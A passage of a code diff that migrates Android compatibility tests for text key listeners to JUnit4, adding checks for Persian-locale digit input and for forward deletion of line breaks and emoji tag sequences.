+        assertEquals("\u06F1\u06F2\u06F3\u06F4\u06F5\u06F6", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 1, dest.length())).toString());
+        assertEquals(startDecimal, dest.toString());
+
+        source = "-\u06F1\u06F2\u06F3\u066B\u06F4\u06F5\u06F6";
+        String endSign = "\u06F7\u06F8\u06F9-";
+        dest = new SpannableString(endSign);
+        assertEquals("", (digitsKeyListener.filter(source, 0, source.length(),
+                dest, 0, dest.length() - 1)).toString());
+        assertEquals(endSign, dest.toString());
+
+        endSign = "\u06F7\u06F8\u06F9+";
+        dest = new SpannableString(endSign);
+        assertEquals("", (digitsKeyListener.filter(source, 0, source.length(),
+                dest, 0, dest.length() - 1)).toString());
+        assertEquals(endSign, dest.toString());
+
+        String startSign = "-\u06F7\u06F8\u06F9";
+        dest = new SpannableString(startSign);
+        assertEquals("\u06F1\u06F2\u06F3\u066B\u06F4\u06F5\u06F6", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 1, dest.length())).toString());
+        assertEquals(startSign, dest.toString());
+
+        source = "+\u06F1\u06F2\u06F3\u066B\u06F4\u06F5\u06F6";
+        dest = new SpannableString(startSign);
+        assertEquals("\u06F1\u06F2\u06F3\u066B\u06F4\u06F5\u06F6", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 1, dest.length())).toString());
+        assertEquals(startSign, dest.toString());
+    }
+
+    /*
      * Scenario description:
      * Current accepted characters are '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'.
      *  1. Press '-' key and this key could not be accepted.
@@ -396,6 +545,7 @@
      *  3. Press '.' key and this key could not be accepted.
      *  4. Press '2' key and check if the content of TextView becomes "12"
      */
+    @Test
     public void testDigitsKeyListener1() {
         final DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance();
 
@@ -403,19 +553,19 @@
         assertEquals("", mTextView.getText().toString());
 
         // press '-' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_MINUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_MINUS);
         assertEquals("", mTextView.getText().toString());
 
         // press '1' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_1);
         assertEquals("1", mTextView.getText().toString());
 
         // press '.' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PERIOD);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PERIOD);
         assertEquals("1", mTextView.getText().toString());
 
         // press '2' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_2);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_2);
         assertEquals("12", mTextView.getText().toString());
     }
 
@@ -430,6 +580,7 @@
      *  6. Press '-' key and this key could not be accepted,
      *     because text view accepts minus sign iff it at the beginning.
      */
+    @Test
     public void testDigitsKeyListener2() {
         final DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance(true, false);
 
@@ -437,27 +588,27 @@
         assertEquals("", mTextView.getText().toString());
 
         // press '-' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_MINUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_MINUS);
         assertEquals("-", mTextView.getText().toString());
 
         // press '1' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_1);
         assertEquals("-1", mTextView.getText().toString());
 
         // press '.' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PERIOD);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PERIOD);
         assertEquals("-1", mTextView.getText().toString());
 
         // press '+' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PLUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PLUS);
         assertEquals("-1", mTextView.getText().toString());
 
         // press '2' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_2);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_2);
         assertEquals("-12", mTextView.getText().toString());
 
         // press '-' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_MINUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_MINUS);
         assertEquals("-12", mTextView.getText().toString());
     }
 
@@ -472,6 +623,7 @@
      *  6. Press '.' key and this key could not be accepted,
      *     because text view accepts only one decimal point per field.
      */
+    @Test
     public void testDigitsKeyListener3() {
         final DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance(false, true);
 
@@ -479,27 +631,27 @@
         assertEquals("", mTextView.getText().toString());
 
         // press '-' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_MINUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_MINUS);
         assertEquals("", mTextView.getText().toString());
 
         // press '+' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PLUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PLUS);
         assertEquals("", mTextView.getText().toString());
 
         // press '1' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_1);
         assertEquals("1", mTextView.getText().toString());
 
         // press '.' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PERIOD);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PERIOD);
         assertEquals("1.", mTextView.getText().toString());
 
         // press '2' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_2);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_2);
         assertEquals("1.2", mTextView.getText().toString());
 
         // press '.' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PERIOD);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PERIOD);
         assertEquals("1.2", mTextView.getText().toString());
     }
 
@@ -516,6 +668,7 @@
      *  6. Press '.' key and this key could not be accepted,
      *     because text view accepts only one decimal point per field.
      */
+    @Test
     public void testDigitsKeyListener4() {
         final DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance(true, true);
 
@@ -523,27 +676,27 @@
         assertEquals("", mTextView.getText().toString());
 
         // press '+' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PLUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PLUS);
         assertEquals("+", mTextView.getText().toString());
 
         // press '1' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_1);
         assertEquals("+1", mTextView.getText().toString());
 
         // press '.' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PERIOD);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PERIOD);
         assertEquals("+1.", mTextView.getText().toString());
 
         // press '2' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_2);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_2);
         assertEquals("+1.2", mTextView.getText().toString());
 
         // press '-' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_MINUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_MINUS);
         assertEquals("+1.2", mTextView.getText().toString());
 
         // press '.' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PERIOD);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PERIOD);
         assertEquals("+1.2", mTextView.getText().toString());
     }
 
@@ -556,7 +709,8 @@
      *  4. Press '-' key and this key could not be accepted.
      *  5. remove DigitsKeyListener and Press '5' key, this key will not be accepted
      */
-    public void testDigitsKeyListener5() {
+    @Test
+    public void testDigitsKeyListener5() throws Throwable {
         final String accepted = "56789";
         final DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance(accepted);
 
@@ -564,45 +718,48 @@
         assertEquals("", mTextView.getText().toString());
 
         // press '1' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_1);
         assertEquals("", mTextView.getText().toString());
 
         // press '5' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_5);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_5);
         assertEquals("5", mTextView.getText().toString());
 
         // press '.' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PERIOD);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PERIOD);
         assertEquals("5", mTextView.getText().toString());
 
         // press '-' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_MINUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_MINUS);
         assertEquals("5", mTextView.getText().toString());
 
         // remove DigitsKeyListener
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(null);
-                mTextView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setKeyListener(null);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
         assertEquals("5", mTextView.getText().toString());
 
         // press '5' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_5);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_5);
         assertEquals("5", mTextView.getText().toString());
     }
 
+    @Test
     public void testGetInstance1() {
         DigitsKeyListener listener1 = DigitsKeyListener.getInstance();
         DigitsKeyListener listener2 = DigitsKeyListener.getInstance();
+        DigitsKeyListener listener3 = DigitsKeyListener.getInstance((Locale) null);
 
         assertNotNull(listener1);
         assertNotNull(listener2);
+        assertNotNull(listener3);
         assertSame(listener1, listener2);
+        assertSame(listener1, listener3);
     }
 
+    @Test
     public void testGetInstance2() {
         DigitsKeyListener listener1 = DigitsKeyListener.getInstance(true, true);
         DigitsKeyListener listener2 = DigitsKeyListener.getInstance(true, true);
@@ -611,14 +768,17 @@
         assertNotNull(listener2);
         assertSame(listener1, listener2);
 
-        listener1 = DigitsKeyListener.getInstance(true, false);
-        listener2 = DigitsKeyListener.getInstance(true, false);
+        DigitsKeyListener listener3 = DigitsKeyListener.getInstance(true, false);
+        DigitsKeyListener listener4 = DigitsKeyListener.getInstance(true, false);
 
-        assertNotNull(listener1);
-        assertNotNull(listener2);
-        assertSame(listener1, listener2);
+        assertNotNull(listener3);
+        assertNotNull(listener4);
+        assertSame(listener3, listener4);
+
+        assertNotSame(listener1, listener3);
     }
 
+    @Test
     public void testGetInstance3() {
         DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance("abcdefg");
         assertNotNull(digitsKeyListener);
@@ -627,7 +787,35 @@
         assertNotNull(digitsKeyListener);
     }
 
-    public void testGetAcceptedChars() {
+    @Test
+    public void testGetInstance4() {
+        DigitsKeyListener listener1 = DigitsKeyListener.getInstance(Locale.US);
+        DigitsKeyListener listener2 = DigitsKeyListener.getInstance(Locale.US, false, false);
+        assertNotNull(listener1);
+        assertNotNull(listener2);
+        assertSame(listener1, listener2);
+    }
+
+    @Test
+    public void testGetInstance5() {
+        DigitsKeyListener listener1 = DigitsKeyListener.getInstance(Locale.US, false, false);
+        DigitsKeyListener listener2 = DigitsKeyListener.getInstance(Locale.US, true, false);
+        DigitsKeyListener listener3 = DigitsKeyListener.getInstance(Locale.US, false, true);
+        DigitsKeyListener listener4 = DigitsKeyListener.getInstance(Locale.US, true, true);
+        assertNotNull(listener1);
+        assertNotNull(listener2);
+        assertNotNull(listener3);
+        assertNotNull(listener4);
+        assertNotSame(listener1, listener2);
+        assertNotSame(listener1, listener3);
+        assertNotSame(listener1, listener4);
+        assertNotSame(listener2, listener3);
+        assertNotSame(listener2, listener4);
+        assertNotSame(listener3, listener4);
+    }
+
+    @Test
+    public void testGetAcceptedChars1() {
         MockDigitsKeyListener mockDigitsKeyListener = new MockDigitsKeyListener();
 
         final char[][] expected = new char[][] {
@@ -637,19 +825,83 @@
             new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '-', '+', '.' },
         };
 
-        TextMethodUtils.assertEquals(expected[0], mockDigitsKeyListener.getAcceptedChars());
+        assertArrayEquals(expected[0], mockDigitsKeyListener.getAcceptedChars());
 
         mockDigitsKeyListener = new MockDigitsKeyListener(true, false);
-        TextMethodUtils.assertEquals(expected[1], mockDigitsKeyListener.getAcceptedChars());
+        assertArrayEquals(expected[1], mockDigitsKeyListener.getAcceptedChars());
 
         mockDigitsKeyListener = new MockDigitsKeyListener(false, true);
-        TextMethodUtils.assertEquals(expected[2], mockDigitsKeyListener.getAcceptedChars());
+        assertArrayEquals(expected[2], mockDigitsKeyListener.getAcceptedChars());
 
         mockDigitsKeyListener = new MockDigitsKeyListener(true, true);
-        TextMethodUtils.assertEquals(expected[3], mockDigitsKeyListener.getAcceptedChars());
+        assertArrayEquals(expected[3], mockDigitsKeyListener.getAcceptedChars());
     }
 
-    public void testGetInputType() {
+    @Test
+    public void testGetAcceptedChars2() {
+        final Locale irLocale = Locale.forLanguageTag("fa-IR");
+        final char irDecimalSeparator = '\u066B';
+        final char usDecimalSeparator = '.';
+        final char[] irDigits = {
+            '\u06F0', '\u06F1', '\u06F2', '\u06F3', '\u06F4',
+            '\u06F5', '\u06F6', '\u06F7', '\u06F8', '\u06F9'
+        };
+        final char[] irSigns = {
+            '+', '-', '\u2212',
+        };
+        final char[] asciiDigits = {
+            '0', '1', '2', '3', '4',
+            '5', '6', '7', '8', '9'
+        };
+
+        MockDigitsKeyListener mockDigitsKeyListener = new MockDigitsKeyListener(irLocale);
+        String acceptedChars = new String(mockDigitsKeyListener.getAcceptedChars());
+        for (int i = 0; i < irDigits.length; i++) {
+            assertNotEquals(-1, acceptedChars.indexOf(irDigits[i]));
+        }
+        for (int i = 0; i < irSigns.length; i++) {
+            assertEquals(-1, acceptedChars.indexOf(irSigns[i]));
+        }
+        assertEquals(-1, acceptedChars.indexOf(irDecimalSeparator));
+        for (int i = 0; i < asciiDigits.length; i++) {
+            assertEquals(-1, acceptedChars.indexOf(asciiDigits[i]));
+        }
+        assertEquals(-1, acceptedChars.indexOf(usDecimalSeparator));
+
+        mockDigitsKeyListener = new MockDigitsKeyListener(
+                irLocale, false /* sign */, true /* decimal */);
+        acceptedChars = new String(mockDigitsKeyListener.getAcceptedChars());
+        for (int i = 0; i < irDigits.length; i++) {
+            assertNotEquals(-1, acceptedChars.indexOf(irDigits[i]));
+        }
+        for (int i = 0; i < irSigns.length; i++) {
+            assertEquals(-1, acceptedChars.indexOf(irSigns[i]));
+        }
+        assertNotEquals(-1, acceptedChars.indexOf(irDecimalSeparator));
+        for (int i = 0; i < asciiDigits.length; i++) {
+            assertEquals(-1, acceptedChars.indexOf(asciiDigits[i]));
+        }
+        assertEquals(-1, acceptedChars.indexOf(usDecimalSeparator));
+
+        mockDigitsKeyListener = new MockDigitsKeyListener(
+                irLocale, true /* sign */, true /* decimal */);
+        acceptedChars = new String(mockDigitsKeyListener.getAcceptedChars());
+        for (int i = 0; i < irDigits.length; i++) {
+            assertNotEquals(acceptedChars, -1, acceptedChars.indexOf(irDigits[i]));
+        }
+        for (int i = 0; i < irSigns.length; i++) {
+            assertNotEquals(-1, acceptedChars.indexOf(irSigns[i]));
+        }
+        assertNotEquals(-1, acceptedChars.indexOf(irDecimalSeparator));
+        for (int i = 0; i < asciiDigits.length; i++) {
+            assertEquals(-1, acceptedChars.indexOf(asciiDigits[i]));
+        }
+        assertEquals(-1, acceptedChars.indexOf(usDecimalSeparator));
+    }
+
+    // Deprecated constructors that need to preserve pre-existing behavior.
+    @Test
+    public void testGetInputType_deprecatedConstructors() {
         DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance(false, false);
         int expected = InputType.TYPE_CLASS_NUMBER;
         assertEquals(expected, digitsKeyListener.getInputType());
@@ -671,6 +923,60 @@
         assertEquals(expected, digitsKeyListener.getInputType());
     }
 
+    // Deprecated constructors that need to preserve pre-existing behavior.
+    @Test
+    public void testGetInputType_English() {
+        int expected = InputType.TYPE_CLASS_NUMBER;
+        DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance(
+                Locale.US, false, false);
+        assertEquals(expected, digitsKeyListener.getInputType());
+        digitsKeyListener = DigitsKeyListener.getInstance(
+                Locale.UK, false, false);
+        assertEquals(expected, digitsKeyListener.getInputType());
+
+        expected = InputType.TYPE_CLASS_NUMBER
+                | InputType.TYPE_NUMBER_FLAG_SIGNED;
+        digitsKeyListener = DigitsKeyListener.getInstance(Locale.US, true, false);
+        assertEquals(expected, digitsKeyListener.getInputType());
+        digitsKeyListener = DigitsKeyListener.getInstance(Locale.UK, true, false);
+        assertEquals(expected, digitsKeyListener.getInputType());
+
+        expected = InputType.TYPE_CLASS_NUMBER
+                | InputType.TYPE_NUMBER_FLAG_DECIMAL;
+        digitsKeyListener = DigitsKeyListener.getInstance(Locale.US, false, true);
+        assertEquals(expected, digitsKeyListener.getInputType());
+        digitsKeyListener = DigitsKeyListener.getInstance(Locale.UK, false, true);
+        assertEquals(expected, digitsKeyListener.getInputType());
+
+        expected = InputType.TYPE_CLASS_NUMBER
+                | InputType.TYPE_NUMBER_FLAG_SIGNED
+                | InputType.TYPE_NUMBER_FLAG_DECIMAL;
+        digitsKeyListener = DigitsKeyListener.getInstance(Locale.US, true, true);
+        assertEquals(expected, digitsKeyListener.getInputType());
+        digitsKeyListener = DigitsKeyListener.getInstance(Locale.UK, true, true);
+        assertEquals(expected, digitsKeyListener.getInputType());
+    }
+
+    // Persian needs more characters then typically provided by datetime inputs, so it falls
+    // back on normal text.
+    @Test
+    public void testGetInputType_Persian() {
+        final Locale irLocale = Locale.forLanguageTag("fa-IR");
+        final int expected = InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL;
+
+        DigitsKeyListener digitsKeyListener = DigitsKeyListener.getInstance(irLocale, false, false);
+        assertEquals(expected, digitsKeyListener.getInputType());
+
+        digitsKeyListener = DigitsKeyListener.getInstance(irLocale, true, false);
+        assertEquals(expected, digitsKeyListener.getInputType());
+
+        digitsKeyListener = DigitsKeyListener.getInstance(irLocale, false, true);
+        assertEquals(expected, digitsKeyListener.getInputType());
+
+        digitsKeyListener = DigitsKeyListener.getInstance(irLocale, true, true);
+        assertEquals(expected, digitsKeyListener.getInputType());
+    }
+
     /**
      * A mocked {@link android.text.method.DigitsKeyListener} for testing purposes.
      *
@@ -678,14 +984,22 @@
      * {@link android.text.method.DigitsKeyListener#getAcceptedChars()}.
      */
     private class MockDigitsKeyListener extends DigitsKeyListener {
-        public MockDigitsKeyListener() {
+        MockDigitsKeyListener() {
             super();
         }
 
-        public MockDigitsKeyListener(boolean sign, boolean decimal) {
+        MockDigitsKeyListener(boolean sign, boolean decimal) {
             super(sign, decimal);
         }
 
+        MockDigitsKeyListener(Locale locale) {
+            super(locale);
+        }
+
+        MockDigitsKeyListener(Locale locale, boolean sign, boolean decimal) {
+            super(locale, sign, decimal);
+        }
+
         @Override
         protected char[] getAcceptedChars() {
             return super.getAcceptedChars();
diff --git a/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java b/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
index 40ed593..bf56cb8 100644
--- a/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ForwardDeleteTest.java
@@ -16,15 +16,23 @@
 
 package android.text.method.cts;
 
-import android.test.suitebuilder.annotation.SmallTest;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.BaseKeyListener;
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test forward delete key handling of  {@link android.text.method.BaseKeyListener}.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ForwardDeleteTest extends KeyListenerTestCase {
     private static final BaseKeyListener mKeyListener = new BaseKeyListener() {
         public int getInputType() {
@@ -34,23 +42,17 @@
 
     // Sync the state to the TextView and call onKeyDown with KEYCODE_FORWARD_DEL key event.
     // Then update the state to the result of TextView.
-    private void forwardDelete(final EditorState state, int modifiers) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText(state.mText, BufferType.EDITABLE);
-                mTextView.setKeyListener(mKeyListener);
-                mTextView.setSelection(state.mSelectionStart, state.mSelectionEnd);
-            }
+    private void forwardDelete(final EditorState state, int modifiers) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setText(state.mText, BufferType.EDITABLE);
+            mTextView.setKeyListener(mKeyListener);
+            mTextView.setSelection(state.mSelectionStart, state.mSelectionEnd);
         });
         mInstrumentation.waitForIdleSync();
         assertTrue(mTextView.hasWindowFocus());
 
         final KeyEvent keyEvent = getKey(KeyEvent.KEYCODE_FORWARD_DEL, modifiers);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.onKeyDown(keyEvent.getKeyCode(), keyEvent);
-            }
-        });
+        mActivity.runOnUiThread(() -> mTextView.onKeyDown(keyEvent.getKeyCode(), keyEvent));
         mInstrumentation.waitForIdleSync();
 
         state.mText = mTextView.getText();
@@ -58,8 +60,32 @@
         state.mSelectionEnd = mTextView.getSelectionEnd();
     }
 
-    @SmallTest
-    public void testSurrogatePairs() {
+    @Test
+    public void testCRLF() throws Throwable {
+        EditorState state = new EditorState();
+
+        // U+000A is LINE FEED.
+        state.setByString("| U+000A");
+        forwardDelete(state, 0);
+        state.assertEquals("|");
+
+        // U+000D is CARRIAGE RETURN.
+        state.setByString("| U+000D");
+        forwardDelete(state, 0);
+        state.assertEquals("|");
+
+        state.setByString("| U+000D U+000A");
+        forwardDelete(state, 0);
+        state.assertEquals("|");
+
+        state.setByString("| U+000A U+000D");
+        forwardDelete(state, 0);
+        state.assertEquals("| U+000D");
+        forwardDelete(state, 0);
+    }
+
+    @Test
+    public void testSurrogatePairs() throws Throwable {
         EditorState state = new EditorState();
 
         // U+1F441 is EYE
@@ -75,8 +101,8 @@
         state.assertEquals("|");
     }
 
-    @SmallTest
-    public void testReplacementSpan() {
+    @Test
+    public void testReplacementSpan() throws Throwable {
         EditorState state = new EditorState();
 
         state.setByString("| 'abc' ( 'de' ) 'fg'");
@@ -112,8 +138,8 @@
         state.assertEquals("'ab' |");
     }
 
-    @SmallTest
-    public void testCombiningEnclosingKeycaps() {
+    @Test
+    public void testCombiningEnclosingKeycaps() throws Throwable {
         EditorState state = new EditorState();
 
         // U+20E3 is COMBINING ENCLOSING KEYCAP.
@@ -126,8 +152,8 @@
         state.assertEquals("|");
     }
 
-    @SmallTest
-    public void testVariationSelector() {
+    @Test
+    public void testVariationSelector() throws Throwable {
         EditorState state = new EditorState();
 
         // U+FE0F is VARIATION SELECTOR-16.
@@ -141,8 +167,8 @@
         state.assertEquals("|");
     }
 
-    @SmallTest
-    public void testFlags() {
+    @Test
+    public void testFlags() throws Throwable {
         EditorState state = new EditorState();
 
         // U+1F1FA is REGIONAL INDICATOR SYMBOL LETTER U.
@@ -156,5 +182,31 @@
         state.assertEquals("| U+1F1FA U+1F1F8");
         forwardDelete(state, 0);
         state.assertEquals("|");
+
+        // Single tag_base character
+        // U+1F3F4 is WAVING BLACK FLAG. This can be a tag_base character.
+        state.setByString("| 'a' U+1F3F4 U+1F3F4 'b'");
+        forwardDelete(state, 0);
+        state.assertEquals("| U+1F3F4 U+1F3F4 'b'");
+        forwardDelete(state, 0);
+        state.assertEquals("| U+1F3F4 'b'");
+        forwardDelete(state, 0);
+        state.assertEquals("| 'b'");
+
+        // U+E0067 is TAG LATIN SMALL LETTER G. This can be a part of tag_spec.
+        // U+E0062 is TAG LATIN SMALL LETTER B. This can be a part of tag_spec.
+        // U+E0073 is TAG LATIN SMALL LETTER S. This can be a part of tag_spec.
+        // U+E0063 is TAG LATIN SMALL LETTER C. This can be a part of tag_spec.
+        // U+E0074 is TAG LATIN SMALL LETTER T. This can be a part of tag_spec.
+        // U+E007F is CANCEL TAG. This is a tag_term character.
+        final String scotland = "U+1F3F4 U+E0067 U+E0062 U+E0073 U+E0063 U+E0074 U+E007F ";
+
+        state.setByString("| 'a' " + scotland + scotland + "'b'");
+        forwardDelete(state, 0);
+        state.assertEquals("| " + scotland + scotland + "'b'");
+        forwardDelete(state, 0);
+        state.assertEquals("| " + scotland + "'b'");
+        forwardDelete(state, 0);
+        state.assertEquals("| 'b'");
     }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
index d789c92..df48458 100644
--- a/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/HideReturnsTransformationMethodTest.java
@@ -16,24 +16,35 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
 
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.method.HideReturnsTransformationMethod;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link HideReturnsTransformationMethod}.
  */
-public class HideReturnsTransformationMethodTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class HideReturnsTransformationMethodTest {
+    @Test
     public void testConstructor() {
         new HideReturnsTransformationMethod();
     }
 
+    @Test
     public void testGetOriginal() {
         MyHideReturnsTranformationMethod method = new MyHideReturnsTranformationMethod();
-        TextMethodUtils.assertEquals(new char[] { '\r' }, method.getOriginal());
+        assertArrayEquals(new char[] { '\r' }, method.getOriginal());
     }
 
+    @Test
     public void testGetInstance() {
         HideReturnsTransformationMethod method0 = HideReturnsTransformationMethod.getInstance();
         assertNotNull(method0);
@@ -42,9 +53,10 @@
         assertSame(method0, method1);
     }
 
+    @Test
     public void testGetReplacement() {
         MyHideReturnsTranformationMethod method = new MyHideReturnsTranformationMethod();
-        TextMethodUtils.assertEquals(new char[] { '\uFEFF' }, method.getReplacement());
+        assertArrayEquals(new char[] { '\uFEFF' }, method.getReplacement());
     }
 
     private static class MyHideReturnsTranformationMethod extends HideReturnsTransformationMethod {
diff --git a/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java b/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
index c14f463..9c96519 100644
--- a/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
+++ b/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
@@ -16,11 +16,10 @@
 
 package android.text.method.cts;
 
-import android.text.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 import android.os.SystemClock;
+import android.text.cts.R;
 import android.text.method.BaseKeyListener;
 import android.text.method.DateKeyListener;
 import android.text.method.DateTimeKeyListener;
@@ -57,7 +56,7 @@
 
 public class KeyListenerCtsActivity extends Activity {
     private boolean mHasWindowFocus = false;
-    private Object mHasWindowFocusLock = new Object();
+    private final Object mHasWindowFocusLock = new Object();
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
diff --git a/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java b/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
index ec9c48b..8d47c57 100644
--- a/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
+++ b/tests/tests/text/src/android/text/method/cts/KeyListenerTestCase.java
@@ -16,72 +16,45 @@
 
 package android.text.method.cts;
 
-import android.text.cts.R;
-
 import android.app.Instrumentation;
-import android.test.ActivityInstrumentationTestCase2;
-import android.text.format.DateUtils;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.text.cts.R;
 import android.text.method.KeyListener;
 import android.view.KeyEvent;
 import android.widget.EditText;
 
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+
 /**
  * Base class for various KeyListener tests.
- * {@link BaseKeyListenerTest}
- * {@link DateKeyListenerTest}
- * {@link DateTimeKeyListenerTest}
- * {@link DigitsKeyListenerTest}
- * {@link MultiTapKeyListenerTest}
- * {@link NumberKeyListenerTest}
- * {@link QwertyKeyListenerTest}
- * {@link TextKeyKeyListenerTest}
- *
- * @see BaseKeyListenerTest
- * @see DateKeyListenerTest
- * @see DateTimeKeyListenerTest
- * @see DigitsKeyListenerTest
- * @see MultiTapKeyListenerTest
- * @see NumberKeyListenerTest
